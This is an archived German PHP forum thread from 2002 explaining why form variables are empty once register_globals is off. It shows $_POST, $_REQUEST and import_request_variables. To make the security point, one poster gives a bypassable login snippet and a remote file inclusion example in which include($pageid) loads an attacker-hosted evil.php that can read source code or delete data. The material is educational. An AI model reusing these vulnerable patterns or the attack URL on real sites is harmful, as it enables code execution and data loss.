Archiv verlassen und diese Seite im Standarddesign anzeigen : variablen-übergabe funzt irgendwie nicht
maddin
28.08.2002, 13:07:22
Hallo zusammen!
Also so langsam bin ich am ausflippen.
Habe jetzt schon wirklich einiges ausprobiert und auch jede menge beispiele nachgetippt. aber irgendwie will die variablenübergabe bei mir nicht funktionieren!
zum beispiel aus dem php-center-tut:
datei test.php:
<FORM ACTION="tuwas.php" METHOD=POST>
<INPUT NAME="beliebigername">
<INPUT TYPE="submit">
</FORM>
datei tuwas.php:
<?
echo "Sie haben $beliebigername eingegeben. ";
?>
Ausgabe bei mir:
Sie haben eingegeben.
Hab IE6, PHP4.2.2, apache 1.3.24
gibts da vielleicht noch irgendwelche einstellungen in php die ich beachten muss?
bei bedarf kann ich ja mal die komplette phpinfo posten.
vielen dank im voraus!
EDIT: METHOD="post" hab ich auch grad nochmal probiert. geht auch nicht.
Ist ganz einfach:
Das neue Sicherheitsmodell von PHP registriert Variablen nicht mehr automatisch.
Du kannst die variablen folgendermaßen ansprechen
$_POST["beliebigername"] -> Per POST übermittelt
$_GET["beliebigername"] -> Per GET übermittelt
$_COOKIE["beliebigername"] -> Per Cockie übermittelt
$_REQUEST["beliebigername"] -> Per GET/POST/COOKIE übermittelt, wobei der GET-Wert mit dem POST-Wert überschrieben wird, und der POST mit dem COOKIE (falls vorhanden...)
<?
echo "Sie haben". $_POST["beliebigername"] ."eingegeben. ";
?>
oder
<?
echo "Sie haben". $_REQUEST["beliebigername"] ."eingegeben. ";
?>
Es geht natürlich auch über
import_request_variables
http://www.php.net/manual/de/function.import-request-variables.php
maddin
28.08.2002, 14:50:15
Ja, jetzt ist's wirklich ganz einfach.
Hätt ich wohl vorher mal die neuesten mans durchlesen sollen.
VIELEN DANK!!!
maddin
maddin
28.08.2002, 15:55:23
*beschämtkuck* ;)
Original geschrieben von SPiC
Das neue Sicherheitsmodell von PHP registriert Variablen nicht mehr automatisch.
Wie jetzt? Ich MUSS demnächst JEDE Variable mit $_POST["huestel"] (o.ä.) ansprechen? Ab wann wird das denn ein Muss sein? Und was ist daran sicherer?
Komm mir bitte nicht mit RTFM - danke.
Okay, ich gebe mich schon mit Links zum Thema zufrieden.
RTFM hatte ein gaaaaanz dickes *G* dahinter...
Also, eigentlich musst Du schon jetzt überall diese neue Schematik anwenden.
Zum Glück gibt es aber auch import_request_variables
// Importieren von Get/Post/Cookie-Variablen
// Es wird uservar_ vorangestellt...
import_request_variables("gpc", "uservar_");
echo $user_foo;
So kannst Du einfach im HTML z.B. <INPUT TYPE="TEXT" NAME="test"> einfügen und in PHP mit $uservar_test darauf zugreifen (Kannst natürlich statt uservar_ auch sonstwar als Präfix einstellen)...
Mit dieser Methode ist es jedenfalls nicht mehr möglich interne Variablen per URL (test.php?geheimevariable=irgendwas) zu ändern.
Warum das sicherer ist? Stell dir mal folgendes Script vor:
// Okay, so sollte man eh kein Script schreiben,
// aber hier ist das Sicherheitsloch offensichtlich
if($user=="foo"&&$pass=="geheim")
{
$logged_in="yes";
};
if(!$logged_in=="yes")
{
echo "Geheime Funktion");
}
Wenn man dieses Script per script.php?logged_in=yes aufrufen würde, könnte man ohne Passwort auf die Geheime Funktion zugreifen...
Mit import_request_variables oder $_REQUEST["irgendwas"] (Request ist besser, weil dort $_GET, $_POST, $_COOKIE "integriert" ist...) kann soetwas nicht passieren, weil Du niemals die Variable $logged_in von außen ändern kannst.
Ist klar, oder nicht?
=:-) Sebastian
Danke.
Sehr gutes Beispiel, aber wie Du schon geschrieben hast - 'so sollte man eh kein Script schreiben'... ;)
Ach ja, der Sicherheitsmechanismus lässt sich auch mit
import_request_variables("gpc","");
komplett umgehen, so hat man wieder das alte Verhalten...
ICH EMPFEHLE DAS JEDOCH AUF GAR KEINEN FALL!!! NICHT UMSONST HAT MAN DAS GEÄNDERT!!!
(Nein, meine Shift-Taste klemmt nicht *g*)
=:-) Sebastian
Okay, mir is gerade noch was eingefallen
Hier noch eine Sicherheitslücke
cms.php
include($pageid);
Jetzt mit cms.php?pageid=http://www.meinedomain.de/evil.php aufrufen, und schon kann ich mir z.B. die PHP-Sourcen anzeigen lassen (z.B. mit file() ). Wenn ich die ersteinmal kenne, kann ich so ziemlich alles mit dem Webspace machen, ohne dass man auch nur die geringste Ahnung hat, wie es dazu kommen konnte...
Wobei eigentlich brauche ich dazu nicht mal am Server ändern, sondern kann einfach in die evil.php z.B. unlink("/www/userdaten"); schreiben...
Sind wirklich schlagkräfige Argumente - werde mich also dann mal an das Manual machen, damit ich weiß, was man so alles machen kann. Im Großen und Ganzen dürfte es bei meinen Websites aber noch keine Probleme geben.
Also ich würde import_requested_variables machen... Geht am Einfachsten und ist am Übersichtlichsten
Ben20
29.08.2002, 16:52:25
$_POST, $_GET und $_COOKIE ist mir klar. Aber was ist $_REQUEST - die Obermenge von den andren Drei?
FloRos
29.08.2002, 17:10:15
<FORM ACTION="tuwas.php" METHOD=POST>
<INPUT NAME="beliebigername">
<INPUT TYPE="submit">
</FORM>
schreib Maddin
kann es sein das du das "Value" Attribut vergessen hast also:
....
<input type="TEXT" name="beliebigername" value="Florian">
<input .....
Nein, value ist nur zur Voreinstellung eines Wertes bzw. zur Zuweisung eines Wertes zu einem Hidden-Field
<input type="text" name="text1" value="Hallo Welt">
Schreibt von vornherein Hallo Welt in die Textbox.
<input type="text" name="text1">
Lässt die Box leer.
=:-) Sebastian
vBulletin® v3.8.3, Copyright ©2000-2024, Jelsoft Enterprises Ltd.